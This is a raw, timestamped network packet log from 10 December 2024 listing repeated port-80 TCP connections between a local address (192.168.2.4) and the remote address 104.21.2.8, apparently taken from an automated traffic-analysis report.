Dec 10, 2024 19:01:04.789345980 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789388895 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789442062 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789472103 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789522886 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789591074 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789601088 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789611101 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789649010 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789690018 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789736032 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789819956 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789829016 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789897919 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789972067 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790018082 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790026903 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790116072 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790127993 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790224075 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790232897 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790265083 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790307999 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790430069 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790441036 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790549040 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790596008 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790669918 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790684938 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790751934 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790760994 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790810108 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790818930 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790828943 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790838003 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790915012 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790924072 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.790996075 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791004896 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791050911 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791059971 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791136980 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791155100 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791243076 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791253090 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791290045 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791378975 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791389942 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791399956 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791449070 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791459084 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791534901 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791548967 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.791621923 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886292934 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886312008 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886331081 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886338949 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886357069 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886367083 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886410952 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886421919 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.886456966 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.901156902 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.908519030 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908534050 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908626080 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908660889 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908761024 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908818960 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.908901930 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909020901 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909131050 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909140110 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909260035 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909270048 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909277916 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909301043 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909429073 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909462929 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909560919 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909595966 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909663916 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909715891 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.909993887 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.910006046 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.910068989 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.910092115 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.910206079 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.910275936 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:05.021181107 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:05.021194935 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:05.021213055 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:05.672985077 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:05.869712114 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:06.012628078 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:06.166559935 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:06.204293966 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:06.333120108 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:06.354091883 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:06.479068041 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.034806967 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.034807920 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.035526991 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.154624939 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.154736996 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.154874086 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.154973984 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.155087948 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.155138969 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.157521009 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.276860952 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.510456085 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:07.630079031 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.630099058 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:07.630119085 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.271483898 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.369791985 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.740499020 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.855560064 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.856502056 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.875221968 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.977056980 CET	80	49760	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.977128029 CET	49760	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.977497101 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.977679014 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.977842093 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.995157957 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:08.995238066 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:08.995384932 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:09.097357035 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.114945889 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.322974920 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:09.354439020 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:09.442327023 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.442569017 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.473927975 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.473943949 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:09.473956108 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.064294100 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.081173897 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.166591883 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.166601896 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.322381020 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.463481903 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.574063063 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.666620970 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.695777893 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.695828915 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.696583033 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.815886021 CET	80	49761	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.815953970 CET	49761	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.816170931 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.816234112 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.816400051 CET	80	49762	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:10.816416979 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.816457987 CET	49762	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:10.936042070 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:11.166711092 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:11.286289930 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:11.286303043 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:11.286312103 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:11.940903902 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:12.084891081 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.249614954 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:12.391089916 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.480478048 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.511120081 CET	80	49763	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:12.513526917 CET	49763	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.600512981 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:12.601542950 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.603792906 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:12.724706888 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:12.960442066 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:13.081144094 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:13.081157923 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:13.081238985 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:13.706166029 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:13.869808912 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:13.956995010 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.091744900 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.092677116 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.211652994 CET	80	49765	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.212044954 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.212105036 CET	49765	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.212155104 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.212498903 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.331895113 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.557286978 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:14.703749895 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.703759909 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:14.703952074 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.298912048 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.339787006 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.369797945 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.396917105 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.459265947 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.459368944 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.512402058 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.711910963 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.712114096 CET	80	49766	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.712169886 CET	49766	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.876461983 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.929392099 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:15.996216059 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:15.996233940 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.048831940 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.048898935 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:16.049098969 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:16.168750048 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.401041985 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:16.524772882 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.524827003 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.524836063 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.835210085 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:16.885370016 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.197727919 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.234280109 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.244740009 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.369714975 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.526765108 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.650681019 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.651052952 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.651614904 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.777493954 CET	80	49772	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.777558088 CET	49772	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.778011084 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.778095961 CET	80	49773	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:17.778096914 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.778147936 CET	49773	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.778248072 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:17.897460938 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:18.135488987 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:18.255966902 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:18.255980968 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:18.255997896 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:18.920631886 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:18.979106903 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.229705095 CET	80	49774	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:19.275981903 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.374636889 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.495942116 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:19.496026039 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.496155024 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.622378111 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:19.854317904 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:19.973893881 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:19.973932981 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:19.973967075 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:20.665216923 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:20.869738102 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.475963116 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:21.605961084 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.606630087 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.726586103 CET	80	49780	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:21.726602077 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:21.726703882 CET	49780	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.726756096 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.728382111 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:21.849318981 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.073177099 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.195698977 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.195717096 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.195811987 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.216131926 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.216598034 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.336100101 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.336220026 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.336359978 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.339898109 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.380951881 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.460664034 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.464190006 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.464268923 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.464415073 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.584477901 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.682344913 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.805402994 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.805444956 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.823143005 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.876841068 CET	80	49786	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.876916885 CET	49786	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:22.942553997 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.942575932 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:22.942626953 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:23.575210094 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:23.628923893 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:23.682907104 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:23.729104996 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:23.858675957 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:23.901021004 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:23.947881937 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:23.992567062 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.076193094 CET	49774	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.077244043 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.077545881 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.078536034 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.199660063 CET	80	49787	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.199722052 CET	49787	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.199724913 CET	80	49788	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.199778080 CET	49788	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.199928999 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.200040102 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.200223923 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.319547892 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.557322025 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:24.677136898 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.677151918 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:24.677208900 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:25.318315029 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:25.369735003 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.481996059 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:26.534826994 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.811743975 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.815912962 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.937216043 CET	80	49795	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:26.937263966 CET	49795	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.997543097 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:26.997625113 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:26.997775078 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:27.117629051 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:27.354258060 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:27.473777056 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:27.473794937 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:27.473841906 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:28.100399971 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:28.338506937 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:28.634238005 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:28.837521076 CET	80	49801	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:28.837724924 CET	49801	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:28.874277115 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:28.962367058 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:28.993900061 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:28.993987083 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:28.994168043 CET	49807	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:29.082113981 CET	80	49808	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.082201004 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:29.082386017 CET	49808	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:29.113806009 CET	80	49807	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:29.201873064 CET	80	49808	104.21.2.8	192.168.2.4
